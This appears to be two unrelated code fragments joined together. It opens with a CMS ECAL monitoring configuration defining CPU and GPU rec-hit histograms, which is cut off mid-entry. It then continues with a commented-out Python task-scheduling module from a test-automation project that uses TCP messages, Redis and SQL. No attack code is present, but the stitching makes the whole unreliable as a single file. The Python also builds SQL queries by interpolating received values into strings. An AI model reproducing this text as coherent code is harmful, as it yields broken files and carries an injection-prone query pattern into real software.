DigiGpuCpuAmplitude = cms.untracked.PSet( path = cms.untracked.string('%(subdet)s/%(prefix)sGpuTask/%(prefix)sGT digi amplitude sample %(sample)s gpu-cpu diff'), kind = cms.untracked.string('TH1F'), otype = cms.untracked.string('Ecal2P'), btype = cms.untracked.string('User'), multi = cms.untracked.PSet( sample = cms.untracked.vint32(digiSamples_) ), xaxis = cms.untracked.PSet( nbins = cms.untracked.int32(100), low = cms.untracked.double(-100), high = cms.untracked.double(100), title = cms.untracked.string('ADC Counts') ), description = cms.untracked.string('GPU-CPU difference of digi amplitude for individual digi samples (1-10)') ), # CPU UncalibRecHit UncalibCpu = cms.untracked.PSet( path = cms.untracked.string('%(subdet)s/%(prefix)sGpuTask/%(prefix)sGT uncalib rec hit nHits cpu'), kind = cms.untracked.string('TH1F'), otype = cms.untracked.string('Ecal2P'), btype = cms.untracked.string('User'), xaxis = cms.untracked.PSet( nbins = cms.untracked.int32(100), low = cms.untracked.double(0), high = cms.untracked.double(5000), title = cms.untracked.string('Uncalibrated Rec Hits per Event') ), description = cms.untracked.string('Number of CPU Uncalibrated Rec Hits per Event') ), UncalibCpuAmp = cms.untracked.PSet( path = cms.untracked.string('%(subdet)s/%(prefix)sGpuTask/%(prefix)sGT uncalib rec hit amplitude cpu'), kind = cms.untracked.string('TH1F'), otype = cms.untracked.string('Ecal2P'), btype = cms.untracked.string('User'), xaxis = cms.untracked.PSet( nbins = cms.untracked.int32(100), low = cms.untracked.double(0), high = cms.untracked.double(5000), title = cms.untracked.string('Amplitude') ), description = cms.untracked.string('CPU Uncalibrated Rec Hit reconstructed amplitude') ), UncalibCpuAmpError = cms.untracked.PSet( path = cms.untracked.string('%(subdet)s/%(prefix)sGpuTask/%(prefix)sGT uncalib rec hit amplitudeError cpu'), kind = cms.untracked.string('TH1F'), otype = cms.untracked.string('Ecal2P'), btype = cms.untracked.string('User'), xaxis = cms.untracked.PSet( nbins = cms.untracked.int32(100), low = cms.untracked.double(0), high = cms.untracked.double(200), title = cms.untracked.string('Amplitude Error') ), description = cms.untracked.string('CPU Uncalibrated Rec Hit reconstructed amplitude uncertainty') ), UncalibCpuPedestal = cms.untracked.PSet( path = cms.untracked.string('%(subdet)s/%(prefix)sGpuTask/%(prefix)sGT uncalib rec hit pedestal cpu'), kind = cms.untracked.string('TH1F'), otype = cms.untracked.string('Ecal2P'), btype = cms.untracked.string('User'), xaxis = cms.untracked.PSet( nbins = cms.untracked.int32(100), low = cms.untracked.double(0), high = cms.untracked.double(1000), title = cms.untracked.string('Pedestal') ), description = cms.untracked.string('CPU Uncalibrated Rec Hit reconstructed pedestal') ), UncalibCpuJitter = cms.untracked.PSet( path = cms.untracked.string('%(subdet)s/%(prefix)sGpuTask/%(prefix)sGT uncalib rec hit jitter cpu'), kind = cms.untracked.string('TH1F'), otype = cms.untracked.string('Ecal2P'), btype = cms.untracked.string('User'), xaxis = cms.untracked.PSet( nbins = cms.untracked.int32(100), low = cms.untracked.double(-5), high = cms.untracked.double(5), title = cms.untracked.string('Jitter') ), description = cms.untracked.string('CPU Uncalibrated Rec Hit reconstructed time jitter') ), UncalibCpuJitterError = cms.untracked.PSet( path = cms.untracked.string('%(subdet)s/%(prefix)sGpuTask/%(prefix)sGT uncalib rec hit jitterError cpu'), kind = cms.untracked.string('TH1F'), otype = cms.untracked.string('Ecal2P'), btype = cms.untracked.string('User'), xaxis = cms.untracked.PSet( nbins = cms.untracked.int32(25), low = cms.untracked.double(0), high = cms.untracked.double(0.25), # If you edit this, also change 10k bin in GpuTask.cc title = cms.untracked.string('Jitter Error') ), description = cms.untracked.string('CPU Uncalibrated Rec Hit reconstructed time jitter uncertainty. 10000 is special value, shown in last bin') ), UncalibCpuChi2 = cms.untracked.PSet( path = cms.untracked.string('%(subdet)s/%(prefix)sGpuTask/%(prefix)sGT uncalib rec hit chi2 cpu'), kind = cms.untracked.string('TH1F'), otype = cms.untracked.string('Ecal2P'), btype = cms.untracked.string('User'), xaxis = cms.untracked.PSet( nbins = cms.untracked.int32(100), low = cms.untracked.double(0), high = cms.untracked.double(200), title = cms.untracked.string('Chi2') ), description = cms.untracked.string('CPU Uncalibrated Rec Hit chi2 of the pulse') ), UncalibCpuOOTAmp = cms.untracked.PSet( path = cms.untracked.string('%(subdet)s/%(prefix)sGpuTask/%(prefix)sGT uncalib rec hit OOT amplitude %(OOTAmp)s cpu'), kind = cms.untracked.string('TH1F'), otype = cms.untracked.string('Ecal2P'), btype = cms.untracked.string('User'), multi = cms.untracked.PSet( OOTAmp = cms.untracked.vint32(uncalibOOTAmps_) ), xaxis = cms.untracked.PSet( nbins = cms.untracked.int32(100), low = cms.untracked.double(0), high = cms.untracked.double(500), title = cms.untracked.string('OOT Amplitude') ), description = cms.untracked.string('CPU Uncalibrated Rec Hit out-of-time reconstructed amplitude. Indicies go from 0 to 9, with event BX at index 5. Index 4 == BX-1, index 6 == BX+1, etc.') ), UncalibCpuFlags = cms.untracked.PSet( path = cms.untracked.string('%(subdet)s/%(prefix)sGpuTask/%(prefix)sGT uncalib rec hit flags cpu'), kind = cms.untracked.string('TH1F'), otype = cms.untracked.string('Ecal2P'), btype = cms.untracked.string('User'), xaxis = cms.untracked.PSet( nbins = cms.untracked.int32(64), low = cms.untracked.double(0), high = cms.untracked.double(64), title = cms.untracked.string('Flags') ), description = cms.untracked.string('CPU Uncalibrated Rec Hit flag to be propagated to RecHit') ), # GPU UncalibRecHit (optional) UncalibGpu = cms.untracked.PSet( path = cms.untracked.string('%(subdet)s/%(prefix)sGpuTask/%(prefix)sGT uncalib rec hit nHits gpu'), kind = cms.untracked.string('TH1F'), otype = cms.untracked.string('Ecal2P'), btype = cms.untracked.string('User'), xaxis = cms.untracked.PSet( nbins = cms.untracked.int32(100), low = cms.untracked.double(0), high = cms.untracked.double(5000), title = cms.untracked.string('Uncalibrated Rec Hits per Event') ), description = cms.untracked.string('Number of GPU Uncalibrated Rec Hits per Event') ), UncalibGpuAmp = cms.untracked.PSet( path = cms.untracked.string('%(subdet)s/%(prefix)sGpuTask/%(prefix)sGT uncalib rec hit amplitude gpu'), kind = cms.untracked.string('TH1F'), otype = cms.untracked.string('Ecal2P'), btype = cms.untracked.string('User'), xaxis = cms.untracked.PSet( nbins = cms.untracked.int32(100), low = cms.untracked.double(0), high = cms.untracked.double(5000), title = cms.untracked.string('Amplitude') ), description = cms.untracked.string('GPU Uncalibrated Rec Hit reconstructed amplitude') ), UncalibGpuAmpError = cms.untracked.PSet( path = cms.untracked.string('%(subdet)s/%(prefix)sGpuTask/%(prefix)sGT uncalib rec hit amplitudeError gpu'), kind = cms.untracked.string('TH1F'), otype = cms.untracked.string('Ecal2P'), btype = cms.untracked.string('User'), xaxis = cms.untracked.PSet( nbins = cms.untracked.int32(100), low = cms.untracked.double(0), high = cms.untracked.double(200), title = cms.untracked.string('Amplitude Error') ), description = cms.untracked.string('GPU Uncalibrated Rec Hit reconstructed amplitude uncertainty') ), UncalibGpuPedestal = cms.untracked.PSet( path = cms.untracked.string('%(subdet)s/%(prefix)sGpuTask/%(prefix)sGT uncalib rec hit pedestal gpu'), kind = cms.untracked.string('TH1F'), otype = cms.untracked.string('Ecal2P'), btype = cms.untracked.string('User'), xaxis = cms.untracked.PSet( nbins = cms.untracked.int32(100), low = cms.untracked.double(0), high = cms.untracked.double(1000), title = cms.untracked.string('Pedestal') ), description = cms.untracked.string('GPU Uncalibrated Rec Hit reconstructed pedestal') ), UncalibGpuJitter = cms.untracked.PSet( path = cms.untracked.string('%(subdet)s/%(prefix)sGpuTask/%(prefix)sGT uncalib rec hit jitter gpu'), kind = cms.untracked.string('TH1F'), otype = cms.untracked.string('Ecal2P'), btype = cms.untracked.string('User'), xaxis = cms.untracked.PSet( nbins = cms.untracked.int32(100), low = cms.untracked.double(-5), high = cms.untracked.double(5), title = cms.untracked.string('Jitter') ), description = cms.untracked.string('GPU Uncalibrated Rec Hit reconstructed time jitter') ), UncalibGpuJitterError = cms.untracked.PSet( path = cms.untracked.string('%(subdet)s/%(prefix)sGpuTask/%(prefix)sGT uncalib rec hit jitterError gpu'), kind = cms.untracked.string('TH1F'), otype = cms.untracked.string('Ecal2P'), btype = cms.untracked.string('User'), xaxis = cms.untracked.PSet( nbins = cms.untracked.int32(25), low = cms.untracked.double(0), high = cms.untracked.double(0.25), # If you edit this, also change 10k bin in GpuTask.cc title = cms.untracked.string('Jitter Error') ), description = cms.untracked.string('GPU Uncalibrated Rec Hit reconstructed time jitter uncertainty. 10000 is special value, shown in last bin') ), UncalibGpuChi2 = cms.untracked.PSet( path = cms.untracked.string('%(subdet)s/%(prefix)sGpuTask/%(prefix)sGT uncalib rec hit chi2 gpu'), kind = cms.untracked.string('TH1F'), otype = cms.untracked.string('Ecal2P'), btype = cms.untracked.string('User'), xaxis = cms.untracked.PSet( nbins = cms.untracked.int32(100), low = cms.untracked.double(0), high = cms.untracked.double(200), title = cms.untracked.string('Chi2') ), description = cms.untracked.string('GPU Uncalibrated Rec Hit chi2 of the pulse') ), UncalibGpuOOTAmp = cms.untracked.PSet( path = cms.untracked.string('%(subdet)s/%(prefix)sGpuTask/%(prefix)sGT uncalib rec hit OOT amplitude %(OOTAmp)s gpu'), kind = cms.untracked.string('TH1F'), otype = cms.untracked.string('Ecal2P'), btype = cms.untracked.string('User'), multi = cms.untracked.PSet( OOTAmp = cms.untracked.vint32(uncalibOOTAmps_) ), xaxis = cms.untracked.PSet( nbins = cms.untracked.int32(100), low = cms.untracked.double(0), high = cms.untracked.double(500), title = cms.untracked.string('OOT Amplitude') ), description = cms.untracked.string('GPU Uncalibrated Rec Hit out-of-time reconstructed amplitude. Indicies go from 0 to 9, with event BX at index 5. Index 4 == BX-1, index 6 == BX+1, etc.') ), UncalibGpuFlags = cms.untracked.PSet( path = cms.untracked.string('%(subdet)s/%(prefix)sGpuTask/%(prefix)sGT uncalib rec hit flags gpu'), kind = cms.untracked.string('TH1F'), otype = cms.untracked.string('Ecal2P'), btype = cms.untracked.string('User'), xaxis = cms.untracked.PSet( nbins = cms.untracked.int32(64), low = cms.untracked.double(0), high
<reponame>yangjourney/sosotest<filename>AutotestFramework/threads/mainTCPThreads.py # import threading # from core.tools.DBTool import * # from core.tools.RedisTool import * # from core.const.Do import * # from core.const.Protocol import * # from runfunc.runGlobalVars import isCluster # from runfunc.initial import * # from allmodels.DubboInterface import DubboInterface # from allmodels.DubboTestcase import DubboTestcase # # # # def typeRunServiceDataReport(dataDict,serviceList,taskQueueList): # serviceFlag = False # for serviceIndex in range(0, len(serviceList)): # tmpServiceIndex = serviceList[serviceIndex] # if dataDict[Do.KEY_RUN_SERVICE_IP] == tmpServiceIndex[Do.KEY_RUN_SERVICE_IP] and dataDict[ # Do.KEY_RUN_SERVICE_PORT] == tmpServiceIndex[Do.KEY_RUN_SERVICE_PORT]: # serviceFlag = True # if dataDict[Do.KEY_RUN_SERVICE_MAX_TASK_PROGRESS_NUM] != tmpServiceIndex[ # Do.KEY_RUN_SERVICE_MAX_TASK_PROGRESS_NUM] or dataDict[Do.KEY_RUN_SERVICE_MAX_CASE_PROGRESS_NUM] != \ # tmpServiceIndex[Do.KEY_RUN_SERVICE_MAX_CASE_PROGRESS_NUM]: # # 执行机上的最大进程数与master不符,更新执行机数量 # tcpStr = '{"do":%s,"%s":%s,"%s":%s}' % ( # Do.TYPE_MASTER_SET_SERVICE_DATA, Do.KEY_RUN_SERVICE_MAX_TASK_PROGRESS_NUM, # tmpServiceIndex[Do.KEY_RUN_SERVICE_MAX_TASK_PROGRESS_NUM], Do.KEY_RUN_SERVICE_MAX_CASE_PROGRESS_NUM, # tmpServiceIndex[Do.KEY_RUN_SERVICE_MAX_CASE_PROGRESS_NUM]) # if sendTcp(dataDict[Do.KEY_RUN_SERVICE_IP], dataDict[Do.KEY_RUN_SERVICE_PORT], tcpStr): # logging.info("执行机上的任务最大进程数与master不符,更新执行机数量成功") # else: # logging.error("执行机上的任务最大进程数与master不符,更新执行机数量失败") # if dataDict[Do.KEY_RUN_SERVICE_PROTOCOL] != tmpServiceIndex[Do.KEY_RUN_SERVICE_PROTOCOL]: # tmpServiceIndex[Do.KEY_RUN_SERVICE_PROTOCOL] = dataDict[Do.KEY_RUN_SERVICE_PROTOCOL] # serviceList[serviceIndex] = tmpServiceIndex # # db = DBTool() # db.initGlobalDBConf() # # # servicelist中没有这个服务器,判断表中是否有,如果表中没有,加入到servicelist表中记录 # # sqlRes = db.execute_sql("select * from tb_run_server_conf where serviceIp = '%s' and servicePort = %s" % ( # dataDict[Do.KEY_RUN_SERVICE_IP], dataDict[Do.KEY_RUN_SERVICE_PORT])) # # if len(sqlRes) > 0: # if not serviceFlag: # tcpStr = '{"do":%s,"%s":%s,"%s":%s}' % ( # Do.TYPE_MASTER_SET_SERVICE_DATA, # Do.KEY_RUN_SERVICE_MAX_TASK_PROGRESS_NUM, # sqlRes[0]["maxTaskProgressNum"], # Do.KEY_RUN_SERVICE_MAX_CASE_PROGRESS_NUM, # sqlRes[0]["maxCaseProgressNum"]) # if sendTcp(dataDict[Do.KEY_RUN_SERVICE_IP], dataDict[Do.KEY_RUN_SERVICE_PORT], # tcpStr): # logging.info("执行机上的任务最大进程数与master不符,更新执行机数量成功") # else: # logging.error("执行机上的任务最大进程数与master不符,更新执行机数量失败") # serviceData = {} # serviceData[Do.KEY_RUN_SERVICE_IP] = sqlRes[0]["serviceIp"] # serviceData[Do.KEY_RUN_SERVICE_PORT] = sqlRes[0]["servicePort"] # serviceData[Do.KEY_RUN_SERVICE_MAX_TASK_PROGRESS_NUM] = sqlRes[0]["maxTaskProgressNum"] # serviceData[Do.KEY_RUN_SERVICE_CURRENT_TASK_PROGRESS_NUM] = dataDict[ # Do.KEY_RUN_SERVICE_CURRENT_TASK_PROGRESS_NUM] # serviceData[Do.KEY_RUN_SERVICE_CURRENT_TASK_LIST] = dataDict[Do.KEY_RUN_SERVICE_CURRENT_TASK_LIST] # serviceData[Do.KEY_RUN_SERVICE_MAX_CASE_PROGRESS_NUM] = sqlRes[0]["maxCaseProgressNum"] # serviceData[Do.KEY_RUN_SERVICE_CURRENT_CASE_PROGRESS_NUM] = dataDict[ # Do.KEY_RUN_SERVICE_CURRENT_CASE_PROGRESS_NUM] # serviceData[Do.KEY_RUN_SERVICE_CURRENT_CASE_LIST] = dataDict[Do.KEY_RUN_SERVICE_CURRENT_CASE_LIST] # serviceData[Do.KEY_RUN_SERVICE_PROTOCOL] = dataDict[Do.KEY_RUN_SERVICE_PROTOCOL] # # serviceData[Do.KEY_RUN_SERVICE_LAST_UPDATE_TIME] = datetime.datetime.now() # serviceList.append(serviceData) # res = db.execute_sql("UPDATE tb_run_server_conf SET STATUS = 1 WHERE serviceIp = '%s' AND servicePort = %s" % ( # dataDict[Do.KEY_RUN_SERVICE_IP], dataDict[Do.KEY_RUN_SERVICE_PORT])) # # if res == False: # logging.error( # "%s:%s 状态设为在线失败! %s" % (dataDict[Do.KEY_RUN_SERVICE_IP], dataDict[Do.KEY_RUN_SERVICE_PORT], res)) # # else: # logging.info( # "%s:%s 状态设为在线! %s" % (dataDict[Do.KEY_RUN_SERVICE_IP], dataDict[Do.KEY_RUN_SERVICE_PORT], dataDict)) # db.release() # else: # currentTime = get_current_time() # res = db.execute_sql( # "insert into tb_run_server_conf (serviceName,serviceIp,servicePort,maxTaskProgressNum,maxCaseProgressNum,status,state,addBy,addTime,modTime) VALUES ('%s','%s',%s,%s,%s,1,1,'master','%s','%s');" # % (dataDict[Do.KEY_RUN_SERVICE_IP], dataDict[Do.KEY_RUN_SERVICE_IP], dataDict[Do.KEY_RUN_SERVICE_PORT], # dataDict[Do.KEY_RUN_SERVICE_MAX_TASK_PROGRESS_NUM], dataDict[Do.KEY_RUN_SERVICE_MAX_CASE_PROGRESS_NUM], # currentTime, currentTime)) # db.release() # if res == False: # logging.error("数据插入失败!") # else: # logging.info("数据插入成功") # service = {} # service[Do.KEY_RUN_SERVICE_IP] = dataDict[Do.KEY_RUN_SERVICE_IP] # service[Do.KEY_RUN_SERVICE_PORT] = dataDict[Do.KEY_RUN_SERVICE_PORT] # service[Do.KEY_RUN_SERVICE_MAX_TASK_PROGRESS_NUM] = dataDict[Do.KEY_RUN_SERVICE_MAX_TASK_PROGRESS_NUM] # service[Do.KEY_RUN_SERVICE_CURRENT_TASK_PROGRESS_NUM] = dataDict[ # Do.KEY_RUN_SERVICE_CURRENT_TASK_PROGRESS_NUM] # service[Do.KEY_RUN_SERVICE_CURRENT_TASK_LIST] = dataDict[Do.KEY_RUN_SERVICE_CURRENT_TASK_LIST] # service[Do.KEY_RUN_SERVICE_MAX_CASE_PROGRESS_NUM] = dataDict[Do.KEY_RUN_SERVICE_MAX_CASE_PROGRESS_NUM] # service[Do.KEY_RUN_SERVICE_CURRENT_CASE_PROGRESS_NUM] = dataDict[ # Do.KEY_RUN_SERVICE_CURRENT_CASE_PROGRESS_NUM] # service[Do.KEY_RUN_SERVICE_CURRENT_CASE_LIST] = dataDict[Do.KEY_RUN_SERVICE_CURRENT_CASE_LIST] # service[Do.KEY_RUN_SERVICE_PROTOCOL] = dataDict[Do.KEY_RUN_SERVICE_PROTOCOL] # service[Do.KEY_RUN_SERVICE_LAST_UPDATE_TIME] = datetime.datetime.now() # serviceList.append(service) # taskQueueIndex = 0 # while taskQueueIndex < len(taskQueueList): # # for taskQueueIndex in range(0,len(taskQueueList)): # # try: # tmpTaskQueue = taskQueueList[taskQueueIndex] # # except Exception: # # break # if "%s_%s" % (tmpTaskQueue[Do.TYPE_PROTOCOL], tmpTaskQueue[Do.KEY_TASK_EXECUTE_ID]) in dataDict.keys(): # tmpTaskQueue[isCluster] = int( # dataDict["%s_%s" % (tmpTaskQueue[Do.TYPE_PROTOCOL], tmpTaskQueue[Do.KEY_TASK_EXECUTE_ID])]) # taskQueueList[taskQueueIndex] = tmpTaskQueue # break # taskQueueIndex += 1 # # def typeTaskCancelDone(dataDict,serviceList,taskQueueList): # taskQueueIndex = 0 # while taskQueueIndex < len(taskQueueList): # # for taskQueueIndex in range(0,len(taskQueueList)): # # try: # taskQueueIndexDict = taskQueueList[taskQueueIndex] # # except Exception: # # break # if taskQueueIndexDict[Do.KEY_TASK_EXECUTE_ID] == dataDict[Do.KEY_TASK_EXECUTE_ID]: # taskQueueIndexDict[isCluster] = isClusterConf.cancelTaskDone # taskQueueList[taskQueueIndex] = taskQueueIndexDict # taskQueueIndex += 1 # for serviceIndex in range(0, len(serviceList)): # tmpServiceIndex = serviceList[serviceIndex] # if "%s_%s" % (dataDict[Do.TYPE_PROTOCOL], dataDict[Do.KEY_TASK_EXECUTE_ID]) in tmpServiceIndex[ # Do.KEY_RUN_SERVICE_CURRENT_TASK_LIST]: # tmpServiceIndex[Do.KEY_RUN_SERVICE_CURRENT_TASK_LIST].remove( # "%s_%s" % (dataDict[Do.TYPE_PROTOCOL], dataDict[Do.KEY_TASK_EXECUTE_ID])) # tmpServiceIndex[Do.KEY_RUN_SERVICE_CURRENT_TASK_PROGRESS_NUM] -= 1 # serviceList[serviceIndex] = tmpServiceIndex # if Do.KEY_TASK_SUITE_EXECUTE_ID in dataDict.keys() and int(dataDict[Do.KEY_TASK_SUITE_EXECUTE_ID]) != 0: # try: # redisCache = RedisTool() # redisCache.initRedisConf() # # taskSuiteExecuteData = json.loads( # # redisCache.get_data("%s_taskSuiteExecuteId_%s" % (dataDict[Do.TYPE_PROTOCOL],dataDict[Do.KEY_TASK_SUITE_EXECUTE_ID]))) # # taskSuiteExecuteData["execStatus"] = ExecStatus.CANCELED # # redisCache.set_data("%s_taskSuiteExecuteId_%s" % (dataDict[Do.TYPE_PROTOCOL],dataDict[Do.KEY_TASK_SUITE_EXECUTE_ID]), # # json.dumps(taskSuiteExecuteData)) # redisCache.del_data("%s_taskSuiteExecuteId_%s" % (dataDict[Do.TYPE_PROTOCOL],dataDict[Do.KEY_TASK_SUITE_EXECUTE_ID])) # cancelTaskSuite(dataDict) # # except Exception: # print(traceback.format_exc()) # logging.error("任务取消时设置任务集状态失败") # logging.info("taskExecuteDone: 任务取消完毕 %s " % dataDict) # # def typeTaskExecuteDone(dataDict,serviceList,taskQueueList): # dataDict[isCluster] = isClusterConf.runTaskDone # # print(1111111111111111) # taskQueueIndex = 0 # while taskQueueIndex < len(taskQueueList): # # for taskQueueIndex in range(0,len(taskQueueList)): # # try: # taskQueueIndexDict = taskQueueList[taskQueueIndex] # # except Exception: # # break # if dataDict[Do.KEY_TASK_EXECUTE_ID] == taskQueueIndexDict[Do.KEY_TASK_EXECUTE_ID]: # taskQueueIndexDict[isCluster] = isClusterConf.runTaskDone # taskQueueList[taskQueueIndex] = taskQueueIndexDict # break # taskQueueIndex += 1 # # print(22222222222222) # for serviceIndex in range(0, len(serviceList)): # tmpServiceIndex = serviceList[serviceIndex] # if "%s_%s" % (dataDict[Do.TYPE_PROTOCOL], dataDict[Do.KEY_TASK_EXECUTE_ID]) in tmpServiceIndex[ # Do.KEY_RUN_SERVICE_CURRENT_TASK_LIST]: # tmpServiceIndex[Do.KEY_RUN_SERVICE_CURRENT_TASK_LIST].remove( # "%s_%s" % (dataDict[Do.TYPE_PROTOCOL], dataDict[Do.KEY_TASK_EXECUTE_ID])) # tmpServiceIndex[Do.KEY_RUN_SERVICE_CURRENT_TASK_PROGRESS_NUM] -= 1 # serviceList[serviceIndex] = tmpServiceIndex # break # # print(333333333333) # if Do.KEY_TASK_SUITE_EXECUTE_ID in dataDict.keys() and int(dataDict[Do.KEY_TASK_SUITE_EXECUTE_ID]) != 0: # taskSuiteExecuteId = dataDict[Do.KEY_TASK_SUITE_EXECUTE_ID] # lastTaskExecuteId = dataDict[Do.KEY_TASK_EXECUTE_ID] # redisCache = RedisTool() # redisCache.initRedisConf() # if dataDict[Do.TYPE_PROTOCOL] == Protocol.HTTP_PROTOCOL: # # print(777777777777777) # taskExecuteTableName = "tb_task_execute" # taskSuiteExecuteTableName = "tb_task_suite_execute" # elif dataDict[Do.TYPE_PROTOCOL] == Protocol.DUBBO_PROTOCOL: # taskExecuteTableName = "tb2_dubbo_task_execute" # taskSuiteExecuteTableName = "tb2_dubbo_task_suite_execute" # else: # return # try: # taskSuiteExecuteData = json.loads(redisCache.get_data("%s_taskSuiteExecuteId_%s" % (dataDict[Do.TYPE_PROTOCOL],taskSuiteExecuteId))) # except: # db = DBTool() # db.initGlobalDBConf() # try: # taskSuiteExecuteData = {"taskExecuteIdList":db.execute_sql("select taskExecuteIdList from %s where id = %s" % (taskSuiteExecuteTableName, taskSuiteExecuteId))[0]["taskExecuteIdList"].split(",")} # except: # taskSuiteExecuteData = {"taskExecuteIdList":[]} # finally: # db.release() # lastTask = True # progressList = [] # testResultList = [] # # print(4444444444444) # for taskIndex in taskSuiteExecuteData["taskExecuteIdList"]: # try: # taskExecStatus = json.loads( # redisCache.get_data("%s_taskSuite_%s_task_%s" % (dataDict[Do.TYPE_PROTOCOL],taskSuiteExecuteId, taskIndex))) # testResultList.append(taskExecStatus["testResult"]) # except: # testResultList.append(db.execute_sql("select execStatus from %s where id=%s" % (taskExecuteTableName, taskIndex))[0]["execStatus"]) # # if taskExecStatus["execStatus"] != ExecStatus.DONE and taskExecStatus[ # "execStatus"] != ExecStatus.EXCEPTION and \ # taskExecStatus["execStatus"] != ExecStatus.CANCELED: # lastTask = False # progressList.append(int(taskExecStatus["progress"])) # # print(5555555555555555) # if lastTask: # # print(6666666666666666666666) # try: # db = DBTool() # db.initGlobalDBConf() # # taskListTestResult = {} # taskListTestResult["testResult"] = "" # taskListTestResult["task"] = {} # taskListTestResult["task"]["total"] = 0 # taskListTestResult["task"][ResultConst.PASS] = 0 # taskListTestResult["task"][ResultConst.FAIL] = 0 # taskListTestResult["task"][ResultConst.ERROR] = 0 # taskListTestResult["task"][ResultConst.EXCEPTION] = 0 # taskListTestResult["task"][ResultConst.CANCELED] = 0 # taskListTestResult["caseTotal"] = 0 # taskListTestResult["casePass"] = 0 # taskListTestResult["caseFail"] = 0 # taskListTestResult["caseError"] = 0 # taskListTestResult["caseNnotrun"] = 0 # taskListTestResult["casePerformanceTotal"] = 0 # taskListTestResult["casePerformancePass"] = 0 # taskListTestResult["casePerformanceFail"] = 0 # taskListTestResult["taskList"] = [] # # print(taskSuiteExecuteData) # # for taskIndex in taskSuiteExecuteData["taskExecuteIdList"]: # redisCache.del_data("%s_taskSuite_%s_task_%s" % (dataDict[Do.TYPE_PROTOCOL],taskSuiteExecuteId, taskIndex)) # # thisTask = db.execute_sql( # "select id,title,taskId,testResult,testResultMsg,testReportUrl,httpConfKey from %s where id=%s" % (taskExecuteTableName,taskIndex)) # # if thisTask[0]["testResult"] not in taskListTestResult["task"].keys(): # taskListTestResult["task"][thisTask[0]["testResult"]] = 0 # # try: # thisTaskResultMsg = json.loads(thisTask[0]["testResultMsg"]) # taskListTestResult["caseTotal"] += thisTaskResultMsg["totalExecuteSummary"]['total'] # taskListTestResult["casePass"] += thisTaskResultMsg["totalExecuteSummary"]['pass'] # taskListTestResult["caseFail"] += thisTaskResultMsg["totalExecuteSummary"]['fail'] # taskListTestResult["caseError"] += thisTaskResultMsg["totalExecuteSummary"]['error'] # taskListTestResult["caseNnotrun"] += thisTaskResultMsg["totalExecuteSummary"]['notrun'] # if dataDict[Do.TYPE_PROTOCOL] == Protocol.HTTP_PROTOCOL: # taskListTestResult["casePerformanceTotal"] += thisTaskResultMsg["actualTotalPerformanceDict"][ # 'total'] # taskListTestResult["casePerformancePass"] += thisTaskResultMsg["actualTotalPerformanceDict"][ # 'pass'] # taskListTestResult["casePerformanceFail"] += thisTaskResultMsg["actualTotalPerformanceDict"][ # 'fail'] # actualTotalPerformanceDict = thisTaskResultMsg["actualTotalPerformanceDict"] # else: # actualTotalPerformanceDict = {} # # taskListTestResult["taskList"].append({"id": thisTask[0]["id"], "taskId": thisTask[0]["taskId"], # "testResult": thisTask[0]["testResult"], # "executeSummary": thisTaskResultMsg[ # "totalExecuteSummary"], # "testReportUrl": thisTask[0]["testReportUrl"], # "taskName": thisTask[0]["title"], # "httpConfKey": thisTask[0]["httpConfKey"], # "actualTotalPerformanceDict": actualTotalPerformanceDict}) # except Exception: # print(traceback.format_exc()) # taskListTestResult["taskList"].append({"taskId": thisTask[0]["taskId"], "testResult": "CANCEL"}) # taskListTestResult["task"][thisTask[0]["testResult"]] += 1 # taskListTestResult["task"]["total"] += 1 # redisCache.del_data("%s_taskSuiteExecuteId_%s" % (dataDict[Do.TYPE_PROTOCOL],taskSuiteExecuteId)) # # print(testResultList) # # print(taskSuiteExecuteTableName) # # print(taskExecuteTableName) # # taskSuiteResult = db.execute_sql( # # "select * from tb_task_suite_execute where id = %s" % taskSuiteExecuteId) # # # # if taskSuiteResult: # if ResultConst.CANCELED in testResultList: # testResult = ResultConst.CANCELED # elif ResultConst.ERROR in testResultList: # testResult = ResultConst.ERROR # elif ResultConst.EXCEPTION in testResultList: # testResult = ResultConst.EXCEPTION # elif ResultConst.FAIL in testResultList: # testResult = ResultConst.FAIL # elif ResultConst.WARNING in testResultList: # testResult = ResultConst.WARNING # else: # testResult = ResultConst.PASS # taskListTestResult["testResult"] = testResult # taskSuiteResult = \ # db.execute_sql("select execTime from %s where id = %s" % (taskSuiteExecuteTableName,taskSuiteExecuteId))[0] # # print(11111111111111111111111111111) # lastTaskData = \ # db.execute_sql("select execFinishTime from %s where id=%s" % (taskExecuteTableName,lastTaskExecuteId))[0] # execTakeTime = (lastTaskData["execFinishTime"] - taskSuiteResult["execTime"]).seconds # # print(2222222222222222222222222222) # db.execute_sql( # "update %s set testResult = '%s',testResultMsg = '%s',execTakeTime = '%s',execFinishTime = '%s' where id = %s" % ( # taskSuiteExecuteTableName,testResult, json.dumps(taskListTestResult, ensure_ascii=False), execTakeTime, # lastTaskData["execFinishTime"], taskSuiteExecuteId)) # # print(3333333333333333333333333333333) # taskSuiteResult = \ # db.execute_sql("select * from %s where id = %s" % (taskSuiteExecuteTableName,taskSuiteExecuteId))[0] # taskSuiteResult['testResultMsg'] = json.dumps(taskListTestResult, ensure_ascii=False) # # 生成报告 # result, url = generateHttpReport(taskSuiteResult) # # print(result) # # print(url) # # print(44444444444444444444) # # print(url) # if result: # db.execute_sql( # "update %s set execStatus = %s,testReportUrl = '%s' where id = %s" % ( # taskSuiteExecuteTableName,ExecStatus.DONE, url, taskSuiteExecuteId)) # else: # db.execute_sql( # "update %s set execStatus = %s,testReportUrl = '%s' where id = %s" % ( # taskSuiteExecuteTableName,url, ExecStatus.EXCEPTION, "")) # # print(5555555555555555555555555555555) # # 发送邮件 # if int(taskSuiteResult["isSendEmail"]) > 0 and taskSuiteResult["emailList"] != "" and len(taskListTestResult["taskList"]) > 0 : # sendEmailToExecutor(taskSuiteResult) # # except Exception: # print("任务集报告生成失败%s" % traceback.format_exc()) # db.execute_sql( # "update %s set testResult = '%s',execStatus = %s where id = %s" % ( # taskSuiteExecuteTableName,ResultConst.ERROR, ExecStatus.EXCEPTION, taskSuiteExecuteId)) # finally: # db.release() # # else: # progressList.sort(reverse=True) # taskSuiteExecuteData["progress"] = progressList[0] # redisCache.set_data("%s_taskSuiteExecuteId_%s" % (dataDict[Do.TYPE_PROTOCOL],taskSuiteExecuteId), json.dumps(taskSuiteExecuteData)) # # def typeTaskCancel(dataDict,taskQueueList,taskCancelQueueList): # if dataDict not in taskCancelQueueList: # taskQueueIndex = 0 # while taskQueueIndex < len(taskQueueList): # # for taskQueueIndex in range(0,len(taskQueueList)): # # try: # taskQueueIndexDict = taskQueueList[taskQueueIndex] # # except Exception: # # break # # taskQueueIndexDict = taskQueueList[taskQueueIndex] # if 